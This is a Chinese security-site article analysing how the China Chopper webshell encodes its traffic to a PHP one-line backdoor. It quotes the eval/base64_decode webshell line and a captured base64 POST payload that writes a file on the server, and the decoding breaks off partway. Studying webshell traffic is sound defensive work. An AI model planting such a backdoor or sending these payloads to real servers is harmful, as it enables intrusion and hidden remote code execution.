热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

中国菜刀通讯加密分析

发布时间:2011-08-06 16:01文章来源:t00ls文章作者:Tueur 点击次数:
摘要:说明:菜刀用post与服务端通讯,各种语言的加密方法都一样的,仅执行代码不同,这里仅以PHP为例。 其实菜刀的通讯加密并不是很复杂,仅用到base64_encode()函数,但是它的加密手法非常巧妙。 一般POST到服务器的数据,就算加密过了,我们也能用echo $_POST['...

说明:菜刀用post与服务端通讯,各种语言的加密方法都一样的,仅执行代码不同,这里仅以PHP为例。
其实菜刀的通讯加密并不是很复杂,仅用到base64_encode()函数,但是它的加密手法非常巧妙。
一般POST到服务器的数据,就算加密过了,我们也能用echo $_POST['pass']的方法得到加密后的数据,所以我分析时在服务器上的“一句话”后面加了段代码,让所有$_POST['pass']的内容都各自保存到一个txt文本。
但用菜刀执行一些操作后,发现服务端保存的txt文本里都只有一句代码:“@eval(base64_decode($_POST[z0]));”。
这是它的加密手法之一:POST里包含POST,这样即使管理员发现一句话木马,也无法截取到你执行了什么代码。
服务端突破基本无望,只能本地抓包了,下面这段代码是用抓包工具抓到新建文件的POST数据。(pass是一句话里的post变量名)

 

[email protected](base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOztlY2hvIEBmd3JpdGUoZm9wZW4oYmFzZTY0X2RlY29kZSgkX1BPU1RbInoxIl0pLCJ3IiksYmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pKT8iMSI6IjAiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=RDpcXFdXV1xcd3d3XFxOZXdGaWxlLnR4dA%3D%3D&z2=dGVzdA%3D%3D

复制代码


可以看到不止发送一个POST变量(POST变量用&分割),而一句话木马的POST执行的是$_POST[z0],这是第二个POST的变量z0, - 低调求发展2 O3 Q" {2 E$ F( ^* I: p
上面可以看出z0变量经过base64_encode()加密,所以要先解密z0变量,用base64_decode()函数解密z0得到如下:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("-6 

标签分类:

上一篇:六种语言破解比较及常见思路
下一篇:ASP文件加密工具:Script Encoder的使用